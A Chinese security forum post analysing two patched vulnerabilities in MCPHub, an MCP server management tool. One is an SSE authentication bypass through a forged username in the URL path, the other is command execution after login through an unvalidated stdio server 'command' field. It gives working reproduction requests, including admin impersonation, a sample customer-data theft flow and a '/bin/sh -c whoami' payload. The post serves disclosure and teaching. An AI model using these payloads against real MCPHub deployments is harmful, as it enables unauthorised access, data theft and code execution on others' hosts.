找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4283

积分

0

好友

564

主题
发表于 1 小时前 | 查看: 1| 回复: 0

本文涉及的所有漏洞均已在新版本中修复,仅供安全研究与学习参考。

看到标题,你可能会以为这是一条完整的攻击链:先绕过认证,再执行命令。但实际上,本文讨论的两个高危漏洞彼此独立,没有任何依赖关系,它们被放在一起分析仅仅因为它们都出自同一个项目——MCPHub。

MCPHub 是什么?

MCPHub 是一个 MCP(Model Context Protocol)服务器的统一管理中间层。

它解决了这样一个问题:开发者本地或服务器上可能运行着多个不同的 MCP 服务,分别处理文件系统访问、数据库查询、网络请求等任务,每个服务都有独立的配置。MCPHub 的作用就是将这些服务汇聚到一个统一的 Server-Sent Events (SSE) 端点,这样 AI 客户端只需连接一个地址,就能调用所有已集成的工具。

搭建测试环境非常简单:

docker run -p 3000:3000 samanhappy/mcphub

身份认证绕过漏洞

这个漏洞的危害在于:攻击者不需要任何账号、密码或 Token,只需修改 URL 路径中的用户名参数,即可冒用任意用户的完整权限,调用该用户配置的所有 MCP 工具,包括执行数据库查询、文件读取和 API 调用等敏感操作。

需要明确的是,这个漏洞与后文将要分析的命令执行漏洞没有任何关联。它利用的是 SSE 长连接路径,完全绕过了标准的登录流程,不依赖 Token,也不会触发任何命令执行。

以下是漏洞复现的步骤:

终端一,建立 SSE 连接并获取 sessionId

curl -N "http://127.0.0.1:3000/admin/sse/test"

获取SSE连接sessionId的终端截图

终端二,使用上一步获取到的 sessionId 发起一个 JSON-RPC 请求,例如列出所有工具:

Invoke-WebRequest -Uri "http://127.0.0.1:3000/admin/messages?sessionId=b4c0771b-decc-4b0f-ab0a-52f0612b2191" `
   -Method POST `
   -ContentType "application/json" `
   -Body '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'

使用sessionId发送POST请求的终端截图

此时,终端一的 SSE 连接会立即收到服务器返回的响应,其中包含了 admin 用户配置的所有工具列表。
SSE连接收到工具列表响应的终端截图

接下来,攻击者就可以直接调用这些工具。

漏洞原理分析

SSE 是一种允许服务器通过单个 HTTP 连接持续向客户端推送数据的技术。MCPHub 的 SSE 接入路由格式为:

GET /{username}/sse/{group}

漏洞的根源位于 mcphub-main/src/middlewares/userContext.ts 的中间件中。
用户上下文中间件代码截图,显示直接从URL参数取用户名

这段代码直接从 req.params.user 获取用户名,并直接创建对应的用户对象,期间没有任何身份或权限验证。这导致了几个致命问题:

  1. 无条件信任 URL 参数req.params.user 的值完全由攻击者控制。
  2. 缺失身份验证:没有检查请求是否携带有效的认证凭证(如 Token、Session)。
  3. 缺失权限验证:没有验证请求者是否有权访问目标用户的资源。
  4. 直接设置用户上下文:系统调用了 setCurrentUser() 后,便完全信任了这个伪造的身份。

核心服务文件 mcphub-main/src/services/sseService.ts 中的设计缺陷进一步放大了漏洞的影响。首先,SessionContext 接口缺少关键的 userId 字段。
SessionContext接口定义代码截图,缺少userId字段

这意味着会话(session)不记录其所有者,handleSseMessage 函数在处理消息时,只判断 sessionId 是否存在,而无法验证该会话是否属于当前请求者。任何人只要获得有效的 sessionId 就能使用它。

其次,validateBearerAuth 函数存在严重的逻辑缺陷。
validateBearerAuth函数存在认证绕过逻辑的代码截图

当系统未配置任何 Bearer 密钥(enabledKeys.length === 0,这是默认情况)时,该函数会直接返回 { valid: true },允许所有请求通过,完全跳过了身份验证。这使得在大多数未专门配置 Bearer 认证的 MCPHub 环境中,认证层形同虚设。

最后,handleSseConnectionhandleSseMessage 函数组合形成了完整的利用链。
handleSseConnection函数代码截图
handleSseMessage函数代码截图

handleSseConnection 信任了中间件设置的(伪造的)用户上下文,并以此创建了属于该用户的 SSE 传输通道。随后,handleSseMessage 只验证 sessionId 的有效性,而不验证其归属。攻击者可以:

  1. 通过构造如 /admin/sse/test 的 URL 伪装成 admin 用户,获取一个 sessionId
  2. 持续使用这个 sessionId 来执行 admin 用户的所有操作。

攻击流程拆解

步骤 1:客户端建立 SSE 连接
客户端向服务器发送 GET 请求,请求头需包含 Accept: text/event-stream

GET /admin/sse/test HTTP/1.1
Host: 127.0.0.1:3000
Accept: text/event-stream
Connection: keep-alive

步骤 2:服务器返回 sessionId 并保持连接
服务器返回 200 OK,内容类型为 text/event-stream,并通过事件流推送 sessionId

HTTP/1.1 200 OK
Content-Type: text/event-stream

event: endpoint
data: /admin/messages?sessionId=5b242344-ddf1-4c21-b8f4-0193d3467f1e

此时 SSE 连接保持打开,等待后续事件。

步骤 3:使用 sessionId 发送消息
客户端使用获取到的 sessionId,通过另一个 HTTP POST 请求发送 JSON-RPC 消息。

POST /admin/messages?sessionId=5b242344-ddf1-4c21-b8f4-0193d3467f1e HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

步骤 4:服务器通过 SSE 连接返回响应

event: message
data: {"result":{"tools":[]},"jsonrpc":"2.0","id":2}

漏洞危害场景

假设 admin 用户配置了一个用于查询公司数据库的 MCP 工具,攻击流程如下:

// 1. 伪装成 admin 建立连接
GET /admin/sse/company-db

// 2. 列出 admin 的所有工具
POST /admin/messages?sessionId=xxx
{"method":"tools/list"}

// 服务器响应,包含数据库查询工具
{
  "tools": [
    {
      "name": "query_customer_data",
      "description": "查询客户数据库"
    }
  ]
}

// 3. 调用工具窃取数据
POST /admin/messages?sessionId=xxx
{
  "method": "tools/call",
  "params": {
    "name": "query_customer_data",
    "arguments": {
      "query": "SELECT * FROM customers"
    }
  }
}
// 结果:成功获取所有客户敏感信息。

修复情况

在新版本中,validateBearerAuth 的逻辑已被修正。现在当 enableBearerAuthtrue 但未配置密钥时,不再直接放行,而是会尝试验证 OAuth Token,验证失败则拒绝请求。
修复后的validateBearerAuth函数逻辑代码截图

授权后命令执行漏洞

重要前提:利用此漏洞必须先登录并获得合法的 admin 权限 Token/api/servers 接口使用的是标准的 JWT 认证,与 SSE 路径的认证逻辑无关,因此上文所述的 URL 用户名伪造漏洞对此接口无效。

这两个漏洞无法串联利用。通过漏洞一冒充 admin 仅能在 SSE 连接中设置用户上下文,这不会生成可用于 /api/servers 接口的 JWT Token。两条路径的认证体系是隔离的。

MCPHub 支持 stdio 类型的 MCP 服务器,其本质是在主机上启动一个子进程,通过标准输入/输出进行通信。漏洞在于,系统在添加服务器时,对 commandargs 字段没有任何安全验证。攻击者可以填入 /bin/sh 及任意参数,服务器便会直接执行。

漏洞复现步骤

1. 登录获取 Token
首先,需要构造数据包登录系统以获取有效的 JWT Token。

POST /api/auth/login HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 42
accept-language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/login
Accept-Encoding: gzip, deflate
Cookie: i18next=en
Connection: close

{"username":"admin","password":"admin123"}

登录成功获取Token的HTTP请求响应截图

2. 利用Token添加恶意服务器
使用上一步获取的 Token,构造数据包调用添加服务器接口,其中 commandargs 字段被恶意控制。

POST /api/servers HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 105
accept-language: en
x-auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlfSwiaWF0IjoxNzcwMzYxNTAzLCJleHAiOjE3NzA0NDc5MDN9.rTpSwQ8dKOrfYndjcVIe04kXaG8aKMN6kSvU1FPX_IM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/login
Accept-Encoding: gzip, deflate
Cookie: i18next=en
Connection: close

{"name":"rce_test","config":{"type":"stdio","command":"/bin/sh","args":["-c","whoami > /tmp/pwned.txt"]}}

添加恶意服务器配置的HTTP请求响应截图

3. 验证命令执行
恶意服务器配置被添加后,相关进程会被自动启动并执行命令。进入容器即可验证命令已执行。

PS C:\Users\admin> docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                    NAMES
cke071626f07   samanhappy/mcphub    "/usr/local/bin/entr…"   About a minute ago   Up About a minute   0.0.0.0:8000->3000/tcp   amazing_diffie

PS C:\Users\admin> docker exec -it cb /bin/bash
root@cke071626f07:/app# ls /tmp
node-compile-cache  pwned.txt
root@cke071626f07:/app# cat /tmp/pwned.txt
root

进入容器验证命令执行结果的终端截图

漏洞原理分析

漏洞链条贯穿控制器、服务层和底层传输创建逻辑。

1. 控制器层 (serverController.ts):输入验证极度缺失
createServer 函数存在严重缺陷:
createServer控制器函数代码截图

  • 直接接受用户输入:从请求体直接获取 config 对象,攻击者完全控制 commandargs 等字段。
  • 仅验证字段存在性:只检查 config.commandconfig.args 是否存在,没有命令白名单、参数危险字符过滤或可执行文件路径限制。
  • 类型验证不足:虽然检查了 config.type 是否在允许列表中(包含 stdio),但未对 stdio 类型进行任何额外的安全检查。
    const result = await addServer(name, config);
  • 未经过滤直接传递:将未经验证的恶意配置直接传递到服务层。

2. 服务层 (mcpService.ts):毫无防范的数据持久化
addServer 函数直接将未经验证的配置保存到数据库。
addServer服务函数代码截图

3. 传输创建层:危险命令的最终执行
createTransportFromConfig 函数是命令执行的发生点。
createTransportFromConfig函数创建子进程的代码截图

  • 命令与参数无验证conf.command 可以是任意路径(如 /bin/sh),conf.args 可包含任意参数或 Shell 元字符。
  • 直接创建子进程:底层通过 StdioClientTransport 调用 Node.js 的 child_process.spawn(),直接执行攻击者控制的命令。

4. 自动执行机制
一旦恶意服务器配置被保存,系统初始化时会自动调用 initializeClientsFromSettings 等函数,触发 createTransportFromConfig,从而自动执行恶意命令,无需等待客户端调用。
initializeClientsFromSettings函数代码截图

总结与反思

本文深入分析了 MCPHub 项目中两个独立的高危安全漏洞:SSE 接口的身份认证绕过漏洞和授权后的远程命令执行漏洞。前者源于对用户输入的无条件信任和会话管理缺陷,后者则是因为对 stdio 类型服务器的配置缺乏最基本的命令与参数安全校验。这两个漏洞都暴露了在快速开发过程中,对安全边界的忽视可能带来的严重后果。对于从事 渗透测试 和安全研究的开发者而言,此类案例是绝佳的学习材料。同时,这也提醒所有 运维 和系统开发者,在集成类似需要执行外部命令的中间件时,必须实施严格的白名单、输入过滤和权限最小化原则。

希望这次深入的技术剖析能帮助社区开发者提升安全意识。更多精彩的技术漏洞分析和安全研究,欢迎访问 云栈社区 进行交流探讨。




上一篇:英特尔发布Heracles全同态加密芯片,3nm工艺实现安全AI数据隐私计算新突破
下一篇:嵌入式开发成本控制实战:从元器件选型到PCB打样的省钱指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-14 06:31 , Processed in 0.452141 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表